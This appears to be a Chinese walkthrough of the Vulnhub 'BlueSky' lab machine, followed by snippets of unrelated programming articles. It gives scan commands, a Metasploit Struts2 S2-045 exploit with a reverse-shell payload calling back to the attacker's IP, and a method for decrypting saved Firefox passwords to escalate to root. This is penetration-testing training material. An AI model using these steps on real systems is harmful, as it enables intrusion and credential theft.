Vulnhub:BlueSky

news2024/11/15 19:31:21

靶机下载地址

信息收集

主机发现

nmap扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.171。

端口扫描

nmap 192.168.31.171 -A -p- -T4

开放端口22,8080。

目录扫描

访问8080端口,如图,是tomcat管理页面,尝试弱口令登录页面失败。

dirb http://192.168.31.171:8080

无信息。

vulmap漏洞扫描

vulmap是一款可对Web容器、Web服务器、Web中间件以及CMS等Web程序进行漏洞扫描的漏扫工具,还有漏洞利用功能。

测试所有漏洞POC。

python3 vulmap.py -u http://192.168.31.171:8080/

样例目录操控漏洞,没什么利用价值。

继续扫描,--a参数指定漏洞进行检测,tomcat。

python3 vulmap.py -u http://192.168.31.171:8080/manager/html -a "tomcat"

访问http://192.168.31.171:8080/struts2-showcase/,的确存在struts2框架。

指定检测单个漏洞,struts2框架。 

python3 vulmap.py -u http://192.168.31.171:8080/struts2-showcase/ -a "struts2"

存在S2-045S2-046漏洞。Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、S2-045、S2-046),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。

渗透

存在Struts2框架漏洞,msf中搜索exp利用。

search S2-045

S2-045有exp,直接利用。

use 0
options
set rhosts 192.168.31.171
set lhost 192.168.31.121
set payload cmd/unix/python/meterpreter/reverse_tcp
run

拿到meterpreter。

 getshell。

# 进入靶机终端
shell
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

get user.txt.

提权

上传提权辅助工具linux-exploit-suggester.sh,运行后提示脏牛漏洞可行。但是经过测试发现该靶机没有安装gcc,无法编译exp。

firefox密码破解

看了wp知道要通过mozilla firefox信息收集到minhtuan的密码才能进一步提权。

接下来找firefox存放用户所有登录信息(包括URL,用户名,密码和其他元数据)的文件,需要先确认firefox版本,因为不同的版本存放登录信息的文件名不同加密方式也可能不同。

firefox --version
Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)

locate定位文件位置。locate logins.json

将logins.json和key4.db下载到攻击机,用火狐浏览器密码破解工具firewd破解密码。破解前准备:
将logins.json和key4.db复制到firepwd.py同目录下,执行命令破解密码。

python firepwd.py logins.json

破解得到账户密码minhtuan:skysayohyeah

sudo提权 

sudo -l

表示用户minhtuan可以使用sudo调用root权限执行命令。su root。

get root.txt!🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2138110.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue3.0组合式API:使用reactive()、ref()创建响应式代理对象

1、reactive() 方法 reactive() 方法用于将定义的 JavaScript 对象转换为响应式对象。 使用方法&#xff1a; <script setup> //第一步&#xff1a;导入函数 import { reactive } from vue;//第二步&#xff1a;创建响应式对象 const data reactive(对象类型的数据);…

prompt实用技巧-AI+Mermaid【酷炫钉钉文档】

AI 新技能&#xff0c;最近 chatGPTo1 发布后模型能力出现了新的跨越&#xff0c;之前模型的一本正经的胡说八道幻想模式&#xff0c;让AI 对待理科推理明显弱于文案的 AGI 的生成。 prompt engineer 工程师程序员的福音 prompt 内容如下&#xff0c; 按照以上格式生成创建公…

C++ Primer Plus(速记版)-类和数据抽象

第十二章 类 在 C 中&#xff0c;用类来定义自己的抽象数据类型。 12.1. 类的定义和声明 12.1.1. 类定义&#xff1a;扼要重述 最简单地说&#xff0c;类就是定义了一个新的类型和一个新作用域。 类成员 类成员可以是属性、方法或类型别名。 成员可以是公有&#xff08;publ…

CPU 缓存的局部性特性

CPU 缓存的局部性特性是现代处理器中用来提高程序执行效率的重要原理。局部性特性是指程序在运行时&#xff0c;其数据和指令的访问具有一定的规律性&#xff0c;主要体现在时间局部性和空间局部性两方面。利用这些规律&#xff0c;CPU 可以更高效地管理缓存&#xff0c;减少从…

github远程仓库环境搭建及使用

目录 1、创建一台虚拟机 centos 源的配置 备份源 修改源 重新加载缓存 安装软件 配置epel 2、关闭防火墙和selinux 关闭防火墙 临时关闭SELinux 永久关闭SELinux&#xff1a;编辑SELinux的配置文件 配置文件的修改内容 3、git是本地仓库&#xff0c;linux系统中一…

CleanClip:Mac上的剪贴板神器,轻松追溯历史记录

CleanClip 是一款功能强大的 Mac 剪贴板历史管理工具,它可以帮助用户轻松地管理和追溯复制粘贴的历史记录。CleanClip 能够保存用户复制过的所有内容,包括文本、图片、文件等,并且提供了多种视图模式,包括列表视图和网格视图,方便用户快速找到需要的内容。 评论区获取软件 Cl…

查询中的算术表达式

需要修改数据显示方式&#xff0c;如执行计算&#xff0c;或者作假定推测&#xff0c;这些都可能用到算术表达式。 一个算术表达式可以包含列名、固定的数字值和算术运算符。 使用算术运算符 示例&#xff1a;查询雇员的年薪&#xff0c;并显示他们的雇员ID&#xff0c;名字…

【计算机网络】应用层序列化

目录 一、序列化和反序列化二、重新理解 read、write、recv、send 和 tcp 为什么支持全双工三、Jsoncpp 一、序列化和反序列化 如果我们要实现一个网络版的加法器&#xff0c;需要把客户端的数据发给服务端&#xff0c;由服务端处理数据&#xff0c;再把处理结果发给客户端。 …

【线程】线程的概念

本文重点&#xff1a; 了解线程概念&#xff0c;理解线程与进程区别与联系 线程的概念 线程是进程内的一个执行分支&#xff0c;执行粒度要比进程细 乍一看&#xff0c;肯定不懂&#xff0c;太抽象了&#xff0c;怎么理解呢&#xff1f; 以前讲的进程&#xff0c;每个进程…

spring boot设置多环境的配置文件

目录 说明规划步骤案例application.ymlapplication-dev.ymlapplication-test.ymlapplication-prod.yml 说明 在项目开发过程中&#xff0c;回有开发环境、测试环境、生产环境等等。如果所有环境的配置都放在application.yml中并且需要打包到不同的环境中时&#xff0c;修改app…

还在用旧的电脑屏保?新一代电脑屏保你见识过吗?

还在用旧的电脑屏保&#xff1f;新一代电脑屏保你见识过吗&#xff1f;旧的电脑屏保我们已经见怪不怪了&#xff0c;没有什么新颖的效果&#xff0c;而新一代的电脑屏保在视觉上做了很多突破。一个好看的屏保&#xff0c;会让你的电脑变得更加美观&#xff0c;更有特色。哪里才…

SpringSecurity原理解析(七):权限校验流程

SpringSecurity是一个权限管理框架&#xff0c;核心功能就是认证和授权&#xff1b;前边已经介绍了认证流程&#xff0c; 这里看下授权的流程和核心类。 一、权限管理的实现 1、开启对权限管理的注解控制 工程中后端各种请求资源要想被SpringSecurity的权限管理控制&#xf…

八、4 DMA+AD多通道(代码)

一、&#xff08;1&#xff09;接线图 PA0接一个电位器&#xff0c;PA1~PA3接3个传感器的AO输出 &#xff08;2&#xff09;流程 二、代码部分 &#xff08;1&#xff09;复制AD多通道的工程 将DMA初始化的部分复制到ADC_Cmd之前 将开启DMA时钟的函数挪到前面 &#xff08;…

人工智能——猴子摘香蕉问题

一、实验目的 求解猴子摘香蕉问题&#xff0c;根据猴子不同的位置&#xff0c;求解猴子的移动范围&#xff0c;求解对应的过程&#xff0c;针对不同的目标状态进行求解。 二、实验内容 根据场景有猴子、箱子、香蕉&#xff0c;香蕉挂天花板上。定义多种谓词描述位置、状态等…

Linux入门1

文章目录 一、Linux的认识和构建1.1 初始Linux1.2 虚拟机1.3 Final Shell1.4 虚拟机快照 二 、Linux的相关知识2.1 Linux目录结构2.2 linux的基本命令 一、Linux的认识和构建 1.1 初始Linux 相比于其他的操作系统&#xff0c;Linux操作系统是在服务器端应用最为广泛和普遍被认…

力扣最热一百题——螺旋矩阵

目录 题目链接&#xff1a;54. 螺旋矩阵 - 力扣&#xff08;LeetCode&#xff09; 题目描述 示例 提示&#xff1a; 解法一&#xff1a;模拟 1. 边界初始化 2. 循环遍历矩阵 3. 从左到右遍历上边界 4. 从上到下遍历右边界 5. 从右到左遍历下边界 6. 从下到上遍历左边…

2.1 溪降技术:溪降运动的定义

目录 2.1 溪降运动的定义概览观看视频课程电子书: 溪降运动的定义**“溪降”&#xff08;Canyoning&#xff09;还是“峡谷探险”&#xff08;Canyoneering&#xff09;&#xff1f;**湿峡谷与干峡谷干峡谷**湿峡谷** 总结 2.1 溪降运动的定义 概览 溪降(新西兰) 溪降是一种在非…

P5425 [USACO19OPEN] I Would Walk 500 Miles G

*原题链接* 很离谱的题。首先可以想到暴力连边&#xff0c;整个图为一个完全图&#xff0c;将所有的边选出来&#xff0c;然后从小到大一条条加入&#xff0c;当剩下集合数量 <K 的时候就结束。答案为加入的最后一条边的大小。如果用prim算法的话时间复杂度为。足以通过此题…

yjs05——matplotlib画其他图像

不管是折线图还是散点图&#xff0c;饼状图&#xff0c;柱状图等&#xff0c;其流程都是 1.创建幕布 ❤2.画图画坐标补充信息 3.保存图像 4.展示图像 不同就是在画图时候的代码不太相同 折线&#xff1a;plt.plot(x,y) 散点&#xff1a;plt.scatter() 柱状图&#xff1a;plt.hi…

Threejs合并模型动画(下)

本文目录 前言最终效果展示一、AnimationAction1.1 简要介绍1.2 常用方法二、代码三、效果前言 我们在Threejs合并模型动画(上)以及Threejs合并模型动画(中)展示了同个模型不同动画的合并与展示,但是我们发现如果我们只是通过代码去改变模型的动画的话那肯定没意思,我们希…